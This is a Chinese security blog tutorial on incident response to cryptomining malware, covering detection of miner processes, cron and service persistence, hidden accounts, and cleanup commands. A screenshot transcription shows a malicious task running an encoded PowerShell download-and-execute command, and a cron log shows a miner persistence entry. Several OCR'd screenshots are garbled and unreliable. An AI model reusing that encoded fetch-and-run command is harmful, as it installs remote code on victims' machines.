# 手把手教你做挖矿应急响应

原创先锋情报站 酒仙桥六号部队 2020-12-25原文

> 这是 **酒仙桥六号部队** 的第 **136** 篇文章。 全文共计4995个字, 预计阅读时长15分钟。

# 前言

攻防之道, 攻是矛, 防是盾。应急响应就是防守中最重要的一环, 思路清晰的应急响应可以使你事半功倍, 抓住攻击者的小尾巴!

本文主要面向无应急基础人员入门引导,大佬轻喷!!!

文中会引用几次我经历过的真实挖矿事件案例,如有侵权请及时联 系我们。

# 开篇

CPU占用高? 电脑卡的要命? 又被挖矿了? 我人傻了!

#### 阿巴阿巴阿巴



来跟我一起看看被挖矿了如果处置吧。

不想看文字的大佬请看下图:挖矿木马处置流程一览图



接下来废话不多说,详细的流程在下给各位看官准备好了,请看!

# 一、询问攻击情况范围

事件发生时的状况或安全设备告警等,能帮助应急处置人员快速分析确定事件类型,方便前期准备。

1、了解现状

询问客户或销售事件发生时状况,举个栗子~

客户发现安全设备告警存在挖矿网站访问情况,像这个样子.

〒 朝政	(s. 1821A	(), (200	0.899	C 10895	1 全部展开	王全部折叠		
- 実施主机	utoc		1	R.C.		0.00	201	·····································
• 11						-9021		2020-04-20 08:12:55
ant	time pl			Avchan Botnet	CACIEID®I			
Red	beena.pl			Avzhan Botnet	CACIESSING			
- 1						9648	E3	2020-04-16 18:29:41
itia	nate all simily and	-		MinerdPool@*2	自時開始的專用			
- 12						0		2020-04-14-22-57.54
	enter Campion	-	1	MinerdPool®2	5种常访问事件			

初步判断是有机器被植入挖矿病毒了,此处可以根据外部连接地址 收集相关情报,如果有相关分析文章会轻松许多。

#### 2、了解事件发生时间节点

出现问题时间、发现问题时间、处置问题时间,确定这三个时间节 点后,可通过**时间相关性**推算挖矿病毒产生大致时间,有助于后续 挖矿病毒发现及清理。



3、临时抑制挖矿

到达客户现场前:

在**不影响主业务运行**的情况下,对受害机器:拔网线啊!拔网线啊! 找网线啊!

绝大部分实际情况与预期并不一致,在没到达客户现场前,及时切断网络连接是最简单有效的抑制手段。

并且,切断网络连接可使挖矿现场尽量保持完整,有助于接下来的 溯源工作顺利开展。



当然,对于情况较清晰的挖矿场景,已知挖矿外连地址及域名等信息,可**采用防火墙建立策略封禁双向通信**的方式抑制挖矿运行。

### 4、获取网络构架

网络构架一般来讲是要拓补图,虽然一般没有(有拓扑的也不想给),但一定要委婉的要拓补图!要拓补图!要拓补图!

详细的拓扑图可以协助还原攻击流程时,准确定位网络连接方向。



# 二、攻击痕迹挖掘

挖矿攻击者为了达到不被发现的目的,各种手段层出不穷,溯源的 过程就是和挖矿攻击者博弈的战争。 可以大致从以下几个方面入手:可疑进程、开放的端口、计划任务、服务项、可疑的用户、内存空间还有最明显的特征: CPU占用高

1、CPU占用

CPU占用高是挖矿时常见的状态,因为挖矿需要占用大量CPU调用挖矿进程,虽然近些年挖矿有偏向于GPU的趋势,但挖矿木马中还是主要以CPU挖矿为主,毕竟不是专门做渲染的服务器GPU一般很低。

Windows中查看CPU可以直接通过任务管理器中查看利用率。



Linux可使用top命令获取实时CPU占比情况:

[root	glocalhost	tmp	]# t	top								
top -	22:54:28	up I	702	days,	8:47	, 1		ser,	load a	verage: 8	.00, 8.00,	7.93
Tasks	: 170 tota	1,		unning	3, 169	slee	p	ing,	0 sto	opped, 0	zombie	
Cpu(s	): 99.9%us		. 1%	sy, 0.	0%ni,	0.0	<b>1</b> %	id, 0	9.0%wa,	0.0%hi,	0.0%si,	0.0%st
Mem:	8175180k	tot	al,	69878	332k u	sed,		118734	18k fre	e, 3526	64k buffers	
Swap:	20482864k	tot	al,	1	124k u	sed,	20	048274	i0k fre	e, 22152	52k cached	
			199									
PTD	LISER	PP	NT	VTRT	RES	SHR	S	SCPIL	90MEM	TTMF+	COMMAND	
5513	oracle	15	0	2401m	2.3g	0	s	792.1	29.6	968:20.82	dbusex.	
1	root	15	0	10348	696	584	S	0.0	0.0	0:02.31	init	
2	root	RT						0.0	0.0	0:05.41	migration/0	
3	root	34	19	9	Ø	Ø	S	0.0	0.0	0:00.02	ksoftirgd/0	

关于查看CPU这里提一个之前遇到过的有意思的挖矿守护机制:

某次挖矿应急中,习惯性打开任务管理器查看CPU占用情况,发现占 用本身很高,但一会就降下来了。开始还以为是任务管理器开启导 致的,之后分析病毒样本的时候才发现是一种守护方式。

判断开启任务管理器等调试工具时,会把挖矿进程杀死,然后等待180秒后强制关闭调试工具再进行挖矿。所以通过dos命令查看Windows系统CPU占用率:

Windows 可使用wmic方式获取CPU占用: wmic cpu get LoadPercentage /value



Windows命令方式查看CPU占用

### 2、可疑进程

Windows中有多种进程分析工具,可辅助快速定位异常进程。这里简单举例几种分析进程工具:Autoruns、PCHunter、ProcessDum p、processhacker、ProcessExplorer、火绒剑等等,各有优劣,此处不再赘述,各位师傅自行体会。

大概样子长这样:

Sectorit. east	2016		THE METAL COM	Dig niger	C Thinkers' Funts Spatisf4 and	
- N tablheat are	1000		Lais Fattances	The susceptibility many or sumaper	C. Wandows/Pents/vieshiost. etc.	
a ovchast, son	4712	0	Micropoft Corporation	finders 服务主运程	C: 'Window shaputeel22's probast, eas	
18 buddent and	3612	. 0	Recensifi Corporation	Windows 任告的本机差程	C 'Hisdors'spytan22'(taskbast are	
# NERVE AEA	0178	0	Microsoft Corporation	Norwardt (2) 色彩彩制钢符	C. Windsen'sputseNCourses age	
a workert. san	3625	0	Recessfi Corporation	Tinders 服用生産程	C (Windows) system 22 system 22 system 22 system 2	
#il rdpclip. ene	5458	0	Microsoft Corporation	NDF Clip 論規模序	C. Windown'Spatian3C'redpellap ana	1.1
il 81 pridant, sun	2366	0	Microsoft Corperation	Nadors 服用主治程	C 'Windowt'dynteel2') sydaut, ese	
" Lunibaswikgunt. Kno	2298	2298	Citrie Systems, Inc.	Citric Zan Rinders Overt Agent	C (Peugran Filler (e00) Gaugar/2027 and s/Easthurstolgant Res	
* Liteaper. ats	1915	1915	Findows (D) His 7 HE	. DesDource Windown geent agent	C: Windows'sputee32'Litempant, ene	
- PERCENT	/ 6864 :	0	Rescards Lorgerstics	- 8(2)/12 Fing #19	C Wandows Cipst and C 1986 ETE	
- Raphitry and	8004		Microsoft Forperation	多数增量运行的任务	C. TRindner/Gentee/SC) tabblent and	
· Eastatr. ees	7408.	0	Midraeoft Corporation	· 查找字符框 \$283211工具	C: Windows'dpetron2012; indate: -us	
26 buckland over	1110	11.32	Tain Fatterion	The non-porting territy manager	C. Bradany Paster testbart and	
1 TON 515	3.2		Represent Corporation	TO THE REAL PROPERTY.	1. C. Minister Contractor Difference	_
10 martine and the second	2858	0	Moresell Lorgeration	Binders 自分处理程序	C 'Hindows'system22') and, saw	
E BE best ans	1808	1457			C. Windown/Pentulipent, and	
II N taddcar. sas	1408	1400	Jain Patternsh	The non-working excession namager	C: \Windset\Tuntu\tankheit. +n+	

使用进程分析工具查看可疑进程

#### 若无法上传工具时,可以通过CPU占比高的进程PID进行相关检索。

Linux中的可以通过top命令获取到高占用进程PID及文件路径,也可使用:

ps -aux --sort=-%cpu|head -10--显示cpu占比前10的进程

其他CPU占比不高的进程可以通过:

ps -auxf--用树形结构显示进程相关性

通过外连情况排查进程:

lsof -i--查看所有网络连接进程

通过PID查看文件位置

1s-la/proc/[进程PID]/exe<sup>--</sup>替换"进程PID"查看进程可执行程序位置

1sof -c [进程名] -- 进程正在使用的文件和网络连接

通过以上命令,若发现CPU高占用或者非正常外连进程,则可能为恶意进程。

3、开放的端口

Windows 和 Linux 均 可 使 用 netstat - ano查看一下端口情况,是否开启高危端口,存在可能被利用风险。

有时攻击者使用端口转发将流量转发出内网,可以在此处看到有可 疑的对外监听端口。

1100	10	131139	0.0.0.0.0	LISTENING	4
TPO	10	3 3389	18. 5:1960	ESTABLISHED	3348
A COLOR		3-2029	18 25:49158	ESTABLISHED	5540
		2.0000	18 1:50863	ESTABLISHED	5540
And and		3:0003	26:56108	ESTABLISHED	5540
TCP	10.	3:0003	10 14:61788	ESTABLISHED	5540
TCP	10.	.3:8085	7:53287	ESTABLISHED	5540
TCP	10.	3:8089	148:89	ESTABLISHED	2888
TCP	10.	3:56872	231:53481	ESTABLISHED	2088
TCP	10	3:56872	u3-44089	ESTABLISHED	11204

查看端口占用情况

#### 4、计划任务及启动项

挖矿病毒为了使挖矿进程一直运行,会做出各种各样的守护方式, 计划任务就是最普遍的守护方式之一。

Windows7使用at命令; Windows10使用schtasks命令查看计划任务列表。

开始--所有程序--启动目录中存在的文件也不能放过。

Linux系统使用crontab-1命令查看计划任务,但还是建议直接查看/etc/crontab文件,也可在/var/log/cron下查看计划任务的日志。

25	Jan 12 03:36:01 uatsjyhconn1-new CROND[22608]: (root) CMD (/bin/bash /etc/titanagent/agent_update_exception.sh >> /var/log/titanagent/agent_update_exception.sh >> /var/log/titanagent_update_exception.sh >> /var/log/t
	log/titanagent/check.e.log)
26	Jan 12 03:36:01 watsivhconn1-new C00ND1226001: (push) CPD (bash /push/monitor agent/service.sh start node1> /dev/null 2>81)
27	Jan 12 03:36:01 uatsjyhconn1-new CROND[22614]: (hxb) CMD (/dev/shm/.ssh/upd >/dev/null 2>%1)
28	Jan 12 03:36:01 watsjyhconn1-new crontab[22666]: (push) LIST (push)
29	Jan 12 03:37:01 uatsjyhconn1-new CROND[23268]: (push) CMD (bash /push/thirdParty/mipns/service.sh check node1 > /dev/null 2>81)
30	Jan 12 03:37:01 watsivhconn1-new CR0W0[23209]: (push) OMD (bash /push/thirdParty/hwpns/service.sh check model > /dev/null 2>81)
31	Jan 12 03:37:01 uatsjyhconn1-new CROND[23273]: (hxb) CMD (/dev/shm/.ssh/upd s/dev/null 2>81)
32	Jan 12 03:37:01 uatsjyhconn1-new CROND[23270]: (push) CMD (bash /push/thirdParty/mzpns/service.sh check node1 > /dev/null 2>81)
33	Jan 12 03:37:01 uatsjyhconn1-new CROND[23271]: (push) CMD (bash /push/monitor agent/service.sh start model> /dev/null 2>&1)

某次Linux挖矿事件计划任务日志

### 其他可能存在定时任务需要排查的路径

/var/spool/cron/\*

/var/spool/anacron/\*

/etc/crontab

### 其他可能存在定时任务需要排查的路径

/etc/anacrontab

/etc/cron.\*

/etc/anacrontab

/etc/rc.d/init.d/

5、服务项

同上,服务也是挖矿病毒常见的守护方式之一,将注册表中服务启 动方式写为挖矿病毒主程序,从而达到守护进程目的。

Windows系统中使用:开始--运行--输入services.msc

Linux 系 统 中 使 用 : systemctl list-unit-files --type service |grep enabled

Q, # F						
文件の 操作(4) 香西(9) 茶師(0)						
A CALCULATION OF CALCULATION OF CALCULATION		_	_			_
(2) 服务(体地) O IR(4)(大4))						
etwerksrs 的展情(本集计算机)					1	
NO 00 00 000 000451	- 新歌 -	描述	新空	自动武型	夏景方	
out 174 Les Les Les Vill	Raceromoft 1915.	E		241	4,21968	
諸為名妹: Mitrachan	Bacrosoft Soft	-		7-58	#1076R	
HASK: Networkura	But Ban Lints	-		taken.	Eliterate	
	TO Not Pice Liste	Bat	Dette	000	大 11000	
截注 Recreared Tanders Betrerkan _	Bet Ten Linten	Sec.	E.Mako	(D13)	Trimpin	
1	Het Top Part 5	Des		MR	本的影響	
司执行文件的解记:	Betlopp	为.		1648	2 99,8,65	
C \HIBDERS\Dahughaat\swebset.ass	Batwools Annaux	8		<b>新新</b>	同時期の	
自由表型(0): [Gib	Network Connec	π.	已成的	平动	主拍系统	
and a light a	Betwork List S	œ.,	已启助	年時	本地感费	
截錄社體表現為自由決固。	Retwork Locati	B	已自动	mat	网络服务	
Annual Control of Cont	Betrock Store	此	已启动	日は	本地服务	
<b>歸</b> 务就查: 已係止	G. Betworksru	Ric		693	本地系统	
1 (10 (20 ) (10 ( 10 ( 10 ( 10 ( 10 ( 10 ( 10 (	Restformance Co	供		手动	本均期内	
	Ferformance Lo	住		手动	本地服务	
当从此先自动经历时,您可保定所证用的自动受救。	Flug and Play	便	已腐助	自动	本地系统	
	Graf-E IF Dos E	Pull.		幕府	本地不成	
自助部数 801:	Portable David	通	-	手睛	本地彩版	
	Power	B	ERN	EN	平均的现在	
	Frint Spooler	18	已解助	田田	4.75748	
税定 取消 正円向け	Tyobdes Seport	100 ····		2.53	4.72.848	
	Trotected Storage	자		745		
	Reporte Access	-		748	10.357528	
	Lesote Nocelli			741	4.81838	

某次Windows挖矿事件利用服务守护挖矿进程方式

### 6、可疑的用户

攻击者有时会创建自己的账户,用来隐藏自己的恶意行为。

Windows中创建用户后,利用账户进行一系列隐藏操作,创建影子账户可使管理员无法发现,可通过D盾查看系统中是否存在影子账户。

《 数据库后门检查 《 数据库降权 》 免疫除号检测 /

ID	林号	全省	猫述	D盾_检测说明
D BED	test\$			危险! 克隆了[管理帐号]
S SEE	testIS			帶#林号(一般用于隐藏林号)
174	Administrator		管理计算机 (或)的内置	[管理帐号]
¥ 1F5	Guest		供来宾访问计算机或访	
1 3E8	IUSE WIN2008-NE	Internet 来真帐户	用干磨名访问 Interne	

隐藏账户示例

Linux中可通过以下几种命令对用户信息进行检查:

命令 命令详解 who 查看当前登录用户(tty本地登陆 pts远程登录) 查看系统信息,想知道某一时刻用户的行为 W last 显示近期用户或终端的登录情况 查看登陆多久、多少用户,负载 uptime cat 查看用户信息文件 /etc/passwd cat 查看影子文件 /etc/shadow -F: awk ' \$3==0 {print 查看管理员特权用户 \$1}' /etc/passwd awk '/\\$1|\\$6/{pri 查看可以远程登录的用户 \$1}, n t /etc/shadow more 查看 sudo 权限的用户(有时攻击者会创建属于自己 /etc/sudoers 的用户) -vgrep

### 命令 命令详解

"^#\|^\$" |grep
"ALL=(ALL)"
awk F:'length(\$2)= 查看空口令账户(有时攻击者会将正常账户改为空口
=0 {print \$1}'令)
/etc/passwd

### 7、WMIC空间

WMIC是Windows中用来管理WMI系统的工具,提供了从命令行接口和批命令脚本执行系统管理的支持。攻击者经常使用WMIC调用系统进程,从而实现恶意软件的运行。

使用进程分析类工具也可以分析WMIC空间,查看是否存在恶意软件,此处不再赘述。

Autoruns [MT\G4rb3n] - Sysinternals: www.sysinterna	ls.com							- 0' ×
File Entry Options User Help								
📓 🖹 🖓 📝 🗶 🦉 Filter:	]							
🗟 KnownDLLs 📓 Winlogon 🛸 Winsock Provider	Print Monitors		LSA Providers	Netwo	rk Providers	IMW E	Sidebar Gadgets	1 Office
🖾 Everything 🦽 Logon 🔤 Explorer 🥔 Internet E	xplorer 🔄 Scheduled	Tasks	Services	A Drivers	Codecs	Boot Execut	te Timage Hijack	s 🔊 Appinit
A day a Entry	Description	P. blaba		Image Path	Treat	-	View Total	
Task Scheduler	Cosciption	T GUNISI R		indye i din	Titlesia	any.	TO TOTA	
V Ddivers	Windows 命令外理	Mcrosoft	Corporation	c:\windows\ayste	m32 2010/11	1/20 17:00		
🗹 🎑 \DnsScan				c:\windows\temp	wc_ 2018/9	4 22:42		
V Microsoft/Windows Defender/MP Scheduled Scan	Microsoft Malware Pro	Mcrosoft	Corporation (	c:\program files\w	ind 2009/7/	/14 7:37		
Microsoft/Windows/Application Experience/Program	Windows 主进程 (Ru	Microsoft	Corporation	c:/windows/ayate	m32 2009/7/	14 7:41		
Microsoft/Windows/Autochk/Proxy	Windows 主进程 (Ru	Mcrosoft	Corporation	c:\windows\syste	m32 2009/7/	/14 7:41		
<ul> <li>2. Wicrosoft/Windows/Eluctoaths</li> </ul>	Windows PowerShel	Microsoft	Corporation (	c:/windows/ayste	m32 2009/7/	14 7:32		
Microsoft/Windows/DiskDiagnostic/Microsoft-Windo	Windows 主进程 (Plu	Microsoft	Corporation	c: \windows \syste	m32 2009/7/	14 7:41		
Microsoft / Windows / Vet Trace (Lather Vetwork into     Microsoft / Windows / Sustan Bactors / SP	Wedness + itt 19 (B)	Mormand	Composition	c: windows syste	m32 2009/6/ m32 2009/7/	(14.7.41		
Microsoft/Windows/Tonin/InAddressConflict1	Windows 主进程 (Flu	Mcmsoft	Comporation	: windows write	m32 2009/7	14 7.41		
Microsoft/Windows/Topio/JpAddressConflict2	Windows 主道程 (Ru	Mcrosoft	Corporation	c:\windows\avste	m32 2009/7/	14 7:41		
Microsoft/Windows/Windows Filtering Platform/BfeO.	Windows 主进程 (Ru	Microsoft	Corporation	c:\windows\avste	m32 2009/7/	14 7:41		
VMcrosoft\Windows\Windows Media Sharing\Update	Windows Media Playe	Mcrosoft	Corporation	c:\program files\w	ind., 2009/7/	14 8:09		
V ms \WebServers	Windows 命令处理	Microsoft	Corporation	c:\windows\avate	m32 2010/11	1/20 17:00		
powershell.exe Size: 442 K								
Windows PowerShell Time: 2009/7	/14 7:32							
Microsoft Corporation Version: 6.1.76	00.16385							
"powershell" -ep bypass -e SQBFAFgAIAAoAE4AZQB3A	COATWBIAGoAZQBJAHQAI	ABOAGU	AdAAuAFcAZQBI	AEMAbABpAGUA	bgBOACkALgBk	AGBAdwBuAGwAb	wBhAGQAcwB0AHEAaQ	BuAGcAKAAr
Ready.						Windows Entries H	Hidden.	

# 三、样本分析

利用上部分发现的攻击痕迹中的病毒样本,可进行初步的样本分析,上传样本分析平台进行初步分析。

#### 在线云沙箱

360沙箱云: https://ata.360.cn/detection

微步云沙箱: https://s.threatbook.cn/

VirusTotal平台: https://www.virustotal.com/gui/home/u pload

魔盾安全分析平台: https://www.maldun.com/submit/submit\_file/

Any. Run交互式恶意软件分析平台: https://app.any.run/

大概这个样子:

60 沙脑云 N ===	ser 🖪 smisk 🔒 Rist-o	ALCON, MON. TRAVAL SHARE
9 <b>685</b> 8096 8	52016 ANSH RM24	
(7.5), UNX	# Western 1.57) Pro 64 555 2624-11-05 55-1150 117 in 10646 [ 12 ] (10000)	MED: Indexedent with Million States 754 9401 - State States Control (States 754 94654: Alth Million States States File States States States 100 Million States 2000
Bong		
184218942		
11904	North Co.	
D. WREEKINPE	C WESSWICKAREA	
1 Meteria		

深层次的恶意文件分析涉及较多,本文不做解析,快速的应急响应 中,根据沙箱中行为判定,可以及时的确认样本行为,比方这样的 。



# 四、后门及木马文件排查根除



挖矿病毒存在各种各样的守护方式,清除挖矿主程序的同时,也需 要对守护进程进行清理,一个不小心没清干净从头再来,所以后门 的清除尤为重要。

以下为我遇到过的部分挖矿病毒常见守护进程方式:

挖矿家族名称	简介	常	见
GuardMiner 自 动		1.	计
化挖矿	2020年0月起非市伯政	. s	s h
		1.	创
贪吃蛇挖矿	2019年4月首次发现	С:	\ W
		С:	/ 1
8220Minor		1.	
022011101	2010年6月首伏嗪儿,为62201241团伙使用	3.	添
MyKings	2017年4月底开始活跃,大量扫描1433等端口	1.	添
WannaMinan	WannaCry勒索病毒变种,2018年3月起开始大范围传播现已变	1.	1
wannaminer	种至4.0版本	3.	设
驱动人生	2018年12月爆发,更新20+版本	1.	自
	· · · · · · · · · · · · · · · · · · ·	er	S

根据以上表格不难看出,守护方式大致有计划任务、服务、开机启动项、SSH秘钥、用户等几种方式。

确认挖矿木马程序或文件并备份后,可以从以下几点着手清理及加固:

#### 1、双向封禁矿池地址

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。

### 2、删除计划任务、自启动项

Windows 中 可 使 用 SchTasks /Delete /TN [任务名]删除计划任务。 自启动项可以从以下三点入手:

① 开始--所有程序--启动②系统配置中启动项(开始-运行中输入msconfig命令)③注册表查找病毒程序名,将此三处发现的恶意启动项删除即可。

Linux中可使用crontab -r删除计划任务

删除/etc/rc.local与/etc/rc[0到6].d文件中恶意启动项

#### 3、删除服务

Windows中删除服务可从任务管理器中手动删除,也可使用命令:sc stop [服务名称]停止服务后,使用命令:sc delete [服务名称]删除服务。

Linux中服务清除: sudo update-rc.d [服务名称] remove

#### 4、结束恶意进程

Windows 中可使用进程管理工具或使用 taskkill -PID [进程PID] -F结束恶意进程。

Linux中则使用kill -9 [进程PID]。

#### 5、删除挖矿木马

Windows中删除时可能存在权限不足等情况,可使用360终端强杀, 也可使用进程管理工具强制删除。

Linux 中可使用 rm -rf [恶意文件绝对路径] 删除文件,如遇文件无权进行操作时,可使用 lsattr [恶意文件绝对路径]命令查看权限,使用 chattr -i [恶意文件绝对路径]解除文件锁定后删除。

#### 6、病毒清除纲要

以上为清理病毒程序方式,后续还需使用终端杀毒对系统进行全面 杀毒及加固,并观察是否还有反复迹象。

一切以挖矿木马不再重启,不存在可疑外连为止哦。

上篇就此结束,撒花。。。下篇主要讲述溯源攻击等知识,敬请期待!

你们说,每个挖矿病毒都会删除竞品挖矿程序,整合几个挖矿家族的清理脚本,是不是可以做到一键清理挖矿病毒的成效?



点击下方,可进入招聘专栏哦~



精选留言

用户设置不下载评论